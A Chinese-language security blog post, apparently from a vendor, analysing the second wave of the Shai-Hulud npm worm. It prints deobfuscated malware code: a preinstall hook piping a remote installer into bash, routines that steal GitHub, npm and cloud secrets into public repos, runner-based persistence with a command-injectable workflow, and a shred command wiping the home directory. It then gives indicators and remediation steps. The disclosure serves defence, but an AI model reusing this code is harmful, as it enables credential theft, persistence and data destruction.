Shai-Hulud NPM 蠕虫以"Sha1-Hulud: The Second Coming"之名卷土重来——灾难性供应链攻击波及 Zapier 和 ENS 生态系统,创建超过 22,000 个恶意仓库并持续增长
JavaScript 生态系统正面临另一场严重的供应链攻击。臭名昭著的 Shai-Hulud 蠕虫 以威胁行为者标记为"Sha1-Hulud: The Second Coming"的新变种卷土重来。超过 70 个 npm 软件包已被植入恶意代码,用于窃取并公开暴露开发者凭据,这是近期最重大的供应链事件之一。StepSecurity 团队正在积极调查此事件,并将随着新信息的出现持续更新本文。
技术分析
以下分析基于我们对恶意软件包及 10 MB+ bun_environment.js 有效载荷的持续逆向工程。该代码经过极度混淆处理,虽然我们已成功去混淆并部分验证了以下描述的核心行为,但团队仍在分析其他层和变种。信息截至发布时准确无误,但随着分析的深入可能会进行调整。
它执行一种复杂的多阶段预安装攻击,对 CI/CD 运行器和开发者工作站的攻击效果同样有效。
攻击从执行 npm install 安装该软件包的那一刻开始,由 package.json 中的以下条目触发:
{
"scripts": {
"preinstall": "node setup_bun.js"
}
}第一阶段——释放器:setup_bun.js
攻击者将整个有效载荷伪装成贴心的 Bun 安装程序。该脚本执行以下操作:
- 检查 bun 是否已在 PATH 中可用。 - 如果未找到,它会直接从 bun.sh 静默执行官方 Bun 安装程序:
// Linux / macOS
execSync('curl -fsSL https://bun.sh/install | bash', { stdio: 'ignore' });
// Windows PowerShell
execSync('powershell -c "irm bun.sh/install.ps1|iex"', { stdio: 'ignore' });- 重新加载更新后的 PATH 环境变量。 - 使用刚安装的 Bun 运行时执行真正的有效载荷:
bun bun_environment.js第二阶段——核心有效载荷:bun_environment.js
该文件超过 10 MB,采用了极端的混淆技术:
- 一个包含数千个条目的大规模十六进制编码字符串数组。
- 顶部的反分析循环,执行数百万次算术运算。
- 代码中的每个字符串都通过类似 _0x58e7a2('0x4da7') 的混淆函数获取。
以下是核心逻辑:
async function jy1() {
// Immediate activation inside known CI environments
if (
process.env.GITHUB_ACTIONS ||
process.env.GITLAB_CI ||
process.env.CIRCLECI ||
process.env.TRAVIS ||
process.env.CIRCLE_SHA1
) {
await aL0(); // run full exfiltration immediately
}
// Developer machine path
else {
// Prevent infinite recursion
if (process.env.POSTINSTALL_BG !== '1') {
// Silently spawn a detached background copy of ourselves
Bun.spawn([
process.execPath, // bun
__filename // this same script
], {
detached: true,
stdio: 'ignore',
env: {
...process.env,
POSTINSTALL_BG: '1' // marker flag
}
}).unref();
return; // original process exits cleanly – user sees nothing suspicious
}
// We are now the hidden background process → safe to steal everything
await aL0();
}
}恶意软件通过将自身分叉到后台来故意延迟在开发者机器上的完整执行。用户的终端会立即返回,给人一种正常安装的假象,而几秒钟后,一个完全独立的进程开始进行数据泄露。
第三阶段——收割——aL0() 和 collectAndExfiltrate()
通过 aL0() 激活后,有效载荷协调全谱窃取,通过受害者的 GitHub 令牌(从 GITHUB_TOKEN 或 ~/.netrc 获取)转储数据。它对主机进行指纹识别、扫描云保险库并搜索密钥——所有数据都以 JSON blob 形式泄露到一个以随机 UUID 命名的新公共仓库中,描述为"Sha1-Hulud: The Second Coming"。
以下是去混淆后的核心收割逻辑(collectAndExfiltrate(githubClient)):
async function collectAndExfiltrate(githubClient) {
// 1. Host reconnaissance (low-noise, always runs)
const systemInfo = {
platform: os.platform(), // e.g., "linux"
architecture: os.arch(), // e.g., "x64"
platformDetailed: os.platform(), // Raw for forensics
architectureDetailed: os.arch(),
hostname: os.hostname(),
os_user: os.userInfo().username
};
// 2. GitHub intel (token reuse for exfil)
const githubInfo = {
authenticated: githubClient.isAuthenticated(),
token: githubClient.getCurrentToken(), // Full PAT leaked!
username: await githubClient.getUser() // Victim's GH profile
};
// 3. Env dump (grabs CI secrets like AWS keys, npm tokens)
const envDump = { environment: process.env };
// 4. Cloud secret sweep (requires env vars like AWS_ACCESS_KEY_ID)
const cloudSecrets = {
aws: await new AWSClient().listAndRetrieveAllSecrets(), // Secrets Manager dump
gcp: await new GCPClient().listAndRetrieveAllSecrets(), // Secret Manager enum + retrieve
azure: await new AzureClient().listAndRetrieveAllSecrets() // Key Vault secrets
};
// 5. Repo secret scan (TruffleHog integration)
if (isCI) {
const trufflehog = new TruffleHogWrapper(); // Auto-downloads binary
await trufflehog.initialize();
const findings = await trufflehog.scanGitRepo(process.env.GITHUB_WORKSPACE || ".");
// Exfil findings as truffleSecrets.json
}
// 6. NPM token sniff (if NPM_TOKEN or ~/.npmrc present)
if (process.env.NPM_TOKEN) {
const npmClient = new NpmClient(process.env.NPM_TOKEN);
const { npmUsername, npmTokenValid } = await validateNpmToken(npmClient);
if (npmTokenValid) {
// Leak full token to npm.json
}
}
// Exfil: Use victim's token to upload to new repo (bypasses DLP)
await githubClient.saveContents("system.json", JSON.stringify({
system: systemInfo, modules: { github: githubInfo }
}, null, 2), "Add file");
await githubClient.saveContents("environment.json", JSON.stringify(envDump, null, 2), "Add file");
await githubClient.saveContents("secrets.json", JSON.stringify(cloudSecrets, null, 2), "Add file");
// ... (trufflehog-findings.json, npm.json)
}泄露使用 GitHub Contents API(PUT /repos/{owner}/{repo}/contents/{path})以及被盗的令牌——看起来像良性的"文件添加"提交。
由于请求使用合法的用户令牌,它们表现为正常活动,绕过大多数密钥扫描和出口过滤解决方案。
第四阶段——持久化
泄露后,它会注入一个 GitHub Actions 工作流,利用讨论事件中评论注入的漏洞。
.github/workflows/discussion.yaml
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}恶意软件获取 GitHub Actions 运行器注册令牌,并在受感染的机器上安装名为"SHA1HULUD"的自托管运行器。漏洞代码创建的仓库已启用讨论功能,因此任何人都可以创建讨论线程。
去混淆后的恶意软件代码显示它请求运行器注册令牌,并在受感染的开发者/CI 机器上安装自托管 GitHub Actions 运行器。
// Request runner registration token
let response = await this.request('POST /repos/{owner}/{repo}/actions/runners/registration-token', {
'owner': owner,
'repo': repo
});
if (response.status == 201) {
let token = response.data.token;
// Linux Installation
if (os.platform() === 'linux') {
await Bun \`mkdir -p $HOME/.dev-env/\`
// Download and install GitHub Actions runner
await Bun \`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz\`
.cwd(os.homedir + '/.dev-env').quiet()
await Bun \`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz\`
.cwd(os.homedir + '/.dev-env')
// Register runner with name "SHA1HULUD"
await Bun \`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${repo} --unattended --token ${token} --name "SHA1HULUD"\`
.cwd(os.homedir + '/.dev-env').quiet()
// Start runner in background
Bun.spawn(['sh', '-c', './run.sh']).unref()
}
// Similar code for Windows and macOS...
}主要特征:
- 将安装隐藏于 $HOME/.dev-env/ 目录
- 使用 RUNNER_ALLOW_RUNASROOT=1 标志(危险!)
- 使用独特名称"SHA1HULUD"注册运行器
- 使用 .unref() 在后台运行以实现持久化
StepSecurity Harden-Runner 成功检测到此行为。您可以在此处查看公开洞察:https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/19633853432?tab=network-events
第五阶段——破坏
最后,在非 CI Linux 主机上,它调用碎纸机来消除痕迹:
if (process.platform === 'linux') {
Bun.spawn(['sh', '-c',
\`find "$HOME" -type f -writable -user "$(id -un)" -print0 | \
xargs -0 -r shred -uvz -n 1 && \
find "$HOME" -depth -type d -empty -delete\`
]);
}这会覆盖可写的家目录文件(一次,置零)并清除空目录——在沙箱中可能具有破坏性,但在工作站上主要用于取证规避。
妥协指标(IOCs)
- 在 npm install 期间执行 curl -fsSL https://bun.sh/install | bash
- 在恶意软件包时间戳相同的时刻创建新的 ~/.bun/bin/bun 二进制文件
- 通过受害者的 GitHub 账户创建意外的仓库和文件
- 从工作站或 CI 作业向 api.github.com/repos/.../contents/ 发出 PUT API 调用
受损软件包
您可以在此处查看受损软件包列表。
影响
该恶意软件是 2025 年 9 月 Shai-Hulud 蠕虫的进化变种,展示了复杂的自我传播能力。在首次检测到的短短 5 小时内,影响已超过原始活动,已有超过 21,000 个包含被盗凭据的公共 GitHub 仓库被创建——所有仓库的描述均为:"Sha1-Hulud: The Second Coming."
来自受损用户和系统的仓库列表(查看列表 此处)
这是其中一个被入侵的仓库示例
如果您对这些文件进行 base64 解码,文件内容将如下所示:
content.json
{
"modules": {
"github": {
"authenticated": true,
"token": "gho_W...VcGy",
"username": {
...
"name": "namei",
"publicRepos": repo_count
}
}
},
"system": {
"architecture": "x64",
"architectureDetailed": "x64",
...
"platform": "linux",
"platformDetailed": "linux"
}
}cloud.json
{
"aws": {
"secrets": []
},
"gcp": {
"secrets": []
},
"azure": {
"secrets": []
}
}environment.json
{
"environment": {
"npm_package_dev": "",
"npm_config_user_agent": "npm/11.6.2 node/v24.11.1 linux x64 workspaces/false",
"NODE_VERSION": "24.11.1",
"YARN_VERSION": "1.22.22",
...
"npm_command": "ci",
"INIT_CWD": "/usr/src/app",
"EDITOR": "vi",
"POSTINSTALL_BG": "1"
}
}truffleSecrets.json
{
"errors": [
...
],
"rawOutput": "{\"SourceMetadata\":{\"Data\":{\"Filesystem\":{\"file\":\"/root/.bun/bin/bun\",\"line\":1}}},\"SourceID\":1,\"SourceType\":15,\"SourceName\":\"trufflehog - filesystem\",\"DetectorType\":917,\"DetectorName\":\"...l}\n"
}任何用户都可以在受损机器上轻易实现远程代码执行
恶意软件创建的自托管运行器的设置 加剧了 Shai-Hulud 活动的风险,通过实现持久化访问和简单的远程代码执行。通过在受损系统上注册类似"SHA1HULUD"的运行器,并将其与在启用讨论功能的仓库中通过讨论事件触发的工作流配对,恶意软件允许任何 GitHub 用户仅通过发布讨论即可注入并执行任意 shell 命令。这将公共仓库转变为大规模利用的载体,特别危及具有提升权限可访问生产环境、云资源和敏感凭据的 CI/CD 管道。低门槛——无需复杂的黑客技能——意味着即使是普通攻击者或脚本小子也可以大规模利用这些漏洞,可能导致数据泄露、勒索软件部署或整个组织的供应链攻击。此外,这些运行器的持久性确保了长期受控,允许反复利用直到被发现,这凸显了 CI/CD 环境中主动安全措施的关键需求。组织应优先监控未经授权的运行器注册,并禁用不必要的讨论功能以缓解这些影响。
立即修复步骤
立即检查您的软件包版本
- 上述给出受影响的版本。
- 运行
npm ls <package>或npm ls <package>检查您安装的版本 - 检查 package-lock.json 中是否存在任何受损软件包
审计您的 GitHub 账户
- 检查并删除描述为"Sha1-Hulud: The Second Coming."的任何仓库。
- 审查审计日志以发现未经授权的访问。
- 通过访问此 URL审查您的 GitHub 账户安全事件。
如果已受损则进行修复
- 完全删除 node_modules:
rm -rf node_modules - 清除 npm 缓存:
npm cache clean --force - 更新 package-lock.json 以排除恶意版本
- 使用安全版本重新安装依赖项 [Z.Z.Z+]
- 考虑完整系统重装
轮换暴露的凭据
立即轮换所有凭据:
- GitHub 个人访问令牌
- npm 认证令牌
- SSH 密钥
- .env 文件中的 API 密钥
StepSecurity 企业客户
以下步骤仅适用于 StepSecurity 企业客户。如果您不是现有企业客户,可以安装 StepSecurity GitHub App 开始 14 天免费试用,以完成以下恢复步骤。
使用 NPM 软件包冷却检查
NPM 冷却检查会在引入在组织配置的冷却期内(默认:2 天)发布的新 npm 软件包版本时自动使拉取请求失败。冷却期结束后,检查将自动清除,无需任何操作。理由很简单——大多数供应链攻击在恶意软件包发布后的 24 小时内就会被检测到,而受感染的项目往往是那些急于采用新版本的。通过在新依赖项允许使用前引入短暂的等待期,团队可以减少遭受新攻击的风险,同时仍然保持依赖项的更新。
以下是此检查如何保护项目免受此事件中受影响软件包恶意版本影响的示例:
发现升级到受损 npm 软件包的拉取请求
我们添加了一个新的控制,专门用于检测升级到这些受损软件包的拉取请求。您可以在 StepSecurity 仪表板上找到新的控制。
使用 StepSecurity Harden-Runner 检测 CI/CD 中的受损依赖项
StepSecurity Harden-Runner 为您的 GitHub Actions 工作流添加运行时安全监控,在 CI/CD 运行期间提供网络调用、文件系统更改和进程执行的可见性。Harden-Runner 在 CI/CD 中使用受损的 nx 软件包时会检测到它们。例如,在 CNCF Backstage 仓库中,Harden-Runner 标记了对 bun.sh 和 trufflehog 的恶意异常调用。您可以阅读完整帖子了解 Harden-Runner 如何发现此活动
探索此交互式演示,了解 Harden-Runner 如何在 CNCF Backstage 仓库中检测到攻击:
如果您已经在使用 Harden-Runner,我们强烈建议您审查最近在 Harden-Runner 仪表板中的异常检测。您可以按照此指南开始使用 Harden-Runner
使用 StepSecurity 威胁中心获取实时供应链威胁情报
StepSecurity 威胁中心提供此事件的全面详细信息以及所有受影响的软件包。通过您的仪表板访问威胁中心,查看 IOC、修复指导和实时更新,了解新受损软件包的发现情况。威胁警报通过 AWS S3 和 webhook 集成自动传送到您的 SIEM,在供应链攻击发生时实现即时事件响应。我们的检测系统在发布后几分钟内识别出此攻击,在广泛利用之前提供早期预警。
使用 StepSecurity 工件监控器检测授权管道外的软件发布
StepSecurity 工件监控器通过持续监控包注册表中的工件,提供对未授权软件包发布的实时检测。此工具将通过检测受损版本是在项目授权 CI/CD 管道外发布的事实来标记此事件。监控器跟踪发布模式、验证来源,并在软件包通过异常渠道或从未预期位置发布时提醒团队。通过实施工件监控器,组织可以在几分钟内捕获供应链泄露,而不是几小时或几天,显著减少暴露于恶意软件包的时间窗口。
在 https://docs.stepsecurity.io/artifact-monitor 了解有关在安全工作中实施工件监控器的更多信息。
致谢
此事件由 Aikido Security 首次宣布和报告。关于他们的分析和持续更新,请访问 Aikido 博客文章。
结论
"Sha1-Hulud: The Second Coming"攻击表明,供应链安全仍然是软件开发生态系统面临的最关键挑战之一。事件正在发展中,我们将随着新信息的出现继续更新本文。